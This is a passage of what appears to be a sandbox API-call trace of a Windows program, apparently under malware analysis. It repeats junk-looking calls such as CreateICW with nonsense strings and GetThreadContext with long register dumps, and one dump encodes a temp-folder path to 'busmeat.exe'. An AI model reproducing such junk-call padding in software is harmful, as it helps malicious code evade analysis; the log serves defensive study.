[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.191] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.192] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.192] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.192] GetConsoleCP () returned 0x0
	[0066.192] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.192] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.193] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.193] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.193] GetConsoleCP () returned 0x0
	[0066.193] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.193] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.194] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.194] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.194] GetConsoleCP () returned 0x0
	[0066.194] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 